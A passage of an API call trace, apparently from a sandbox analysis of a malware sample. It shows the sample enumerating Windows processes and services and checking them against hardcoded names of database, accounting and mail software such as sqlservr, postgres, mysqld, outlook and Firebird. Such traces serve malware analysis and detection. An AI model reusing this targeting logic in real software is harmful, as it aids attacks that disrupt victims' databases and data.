returned 1 [0139.225] lstrlenW (lpString="smss.exe") returned 8 [0139.225] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0139.225] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0139.225] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0139.225] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0139.225] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0139.225] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0139.225] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0139.225] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0139.226] lstrlenW (lpString="csrss.exe") returned 9 [0139.226] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0139.226] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0139.226] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0139.226] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0139.226] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0139.226] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0139.226] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0139.226] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0139.226] lstrlenW (lpString="wininit.exe") returned 11 [0139.226] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0139.226] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0139.226] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0139.226] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0139.226] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0139.226] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0139.226] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0139.226] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0139.227] lstrlenW (lpString="csrss.exe") returned 9 [0139.227] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0139.227] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0139.227] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0139.227] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0139.227] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0139.227] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0139.227] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0139.227] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0139.227] lstrlenW (lpString="winlogon.exe") returned 12 [0139.227] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0139.227] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0139.227] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0139.227] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0139.227] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0139.227] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0139.227] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0139.227] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0139.228] lstrlenW (lpString="services.exe") returned 12 [0139.228] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0139.228] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0139.228] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0139.228] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0139.228] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0139.228] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0139.228] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0139.228] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0139.228] lstrlenW (lpString="lsass.exe") returned 9 [0139.228] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0139.228] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0139.228] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0139.228] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0139.228] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0139.228] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0139.228] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0139.229] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0139.229] lstrlenW (lpString="lsm.exe") returned 7 [0139.229] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0139.229] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0139.229] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0139.229] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0139.229] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0139.229] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0139.229] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0139.229] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.229] lstrlenW (lpString="svchost.exe") returned 11 [0139.229] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0139.229] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0139.229] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0139.229] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0139.229] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0139.229] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0139.229] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0139.230] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.230] lstrlenW (lpString="svchost.exe") returned 11 [0139.230] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0139.230] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.230] lstrlenW (lpString="svchost.exe") returned 11 [0139.230] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0139.230] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0139.231] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.231] lstrlenW (lpString="svchost.exe") returned 11 [0139.231] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.231] lstrlenW (lpString="svchost.exe") returned 11 [0139.231] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0139.232] lstrlenW (lpString="audiodg.exe") returned 11 [0139.232] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.232] lstrlenW (lpString="svchost.exe") returned 11 [0139.232] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0139.232] lstrlenW (lpString="userinit.exe") returned 12 [0139.232] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0139.233] lstrlenW (lpString="explorer.exe") returned 12 [0139.233] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0139.233] lstrlenW (lpString="dwm.exe") returned 7 [0139.233] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.233] lstrlenW (lpString="svchost.exe") returned 11 [0139.233] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0139.234] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0139.234] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0139.234] lstrlenW (lpString="spoolsv.exe") returned 11 [0139.234] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0139.234] lstrlenW (lpString="reader_sl.exe") returned 13 [0139.234] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.235] lstrlenW (lpString="svchost.exe") returned 11 [0139.235] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0139.235] lstrlenW (lpString="taskhost.exe") returned 12 [0139.235] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0139.235] CloseHandle (hObject=0x36c) returned 1 [0139.235] Sleep (dwMilliseconds=0x1f4) [0139.842] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b550 [0140.079] EnumServicesStatusExW (in: hSCManager=0x428b550, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0140.080] GetLastError () returned 0xea [0140.080] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0140.080] EnumServicesStatusExW (in: hSCManager=0x428b550, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0140.080] CloseServiceHandle (hSCObject=0x428b550) returned 1 [0140.080] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0140.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0140.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0140.080] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0140.080] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0140.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0140.080] lstrlenW (lpString="AudioSrv") returned 8 [0140.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0140.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0140.080] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0140.080] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0140.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0140.081] lstrlenW (lpString="BFE") returned 3 [0140.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0140.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0140.081] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0140.081] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0140.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0140.081] lstrlenW (lpString="CryptSvc") returned 8 [0140.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0140.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0140.081] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0140.081] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0140.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0140.081] lstrlenW (lpString="CscService") returned 10 [0140.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0140.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0140.081] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0140.081] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0140.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0140.081] lstrlenW (lpString="DcomLaunch") returned 10 [0140.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0140.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0140.081] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0140.081] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0140.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0140.081] lstrlenW (lpString="Dhcp") returned 4 [0140.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0140.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0140.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0140.081] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0140.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0140.081] lstrlenW (lpString="Dnscache") returned 8 [0140.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0140.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0140.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0140.081] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0140.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0140.082] lstrlenW (lpString="DPS") returned 3 [0140.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0140.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0140.082] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0140.082] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0140.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0140.082] lstrlenW (lpString="eventlog") returned 8 [0140.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0140.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0140.082] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0140.082] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0140.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0140.082] lstrlenW (lpString="EventSystem") returned 11 [0140.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0140.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0140.082] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0140.082] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0140.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0140.082] lstrlenW (lpString="gpsvc") returned 5 [0140.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0140.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0140.082] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0140.082] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0140.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0140.082] lstrlenW (lpString="LanmanWorkstation") returned 17 [0140.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0140.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0140.082] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0140.082] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0140.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0140.082] lstrlenW (lpString="lmhosts") returned 7 [0140.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0140.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0140.082] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0140.082] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0140.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0140.083] lstrlenW (lpString="MMCSS") returned 5 [0140.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0140.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0140.083] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0140.083] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0140.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0140.083] lstrlenW (lpString="MpsSvc") returned 6 [0140.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0140.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0140.083] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0140.083] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0140.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0140.083] lstrlenW (lpString="NlaSvc") returned 6 [0140.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0140.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0140.083] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0140.083] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0140.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0140.083] lstrlenW (lpString="nsi") returned 3 [0140.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0140.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0140.083] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0140.083] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0140.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0140.083] lstrlenW (lpString="PcaSvc") returned 6 [0140.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0140.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0140.083] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0140.083] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0140.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0140.084] lstrlenW (lpString="PlugPlay") returned 8 [0140.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0140.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0140.084] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0140.084] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0140.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0140.084] lstrlenW (lpString="Power") returned 5 [0140.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0140.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0140.084] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0140.084] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0140.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0140.084] lstrlenW (lpString="ProfSvc") returned 7 [0140.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0140.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0140.084] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0140.084] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0140.084] lstrcmpiW (lpString1="sqlserveradhelper", 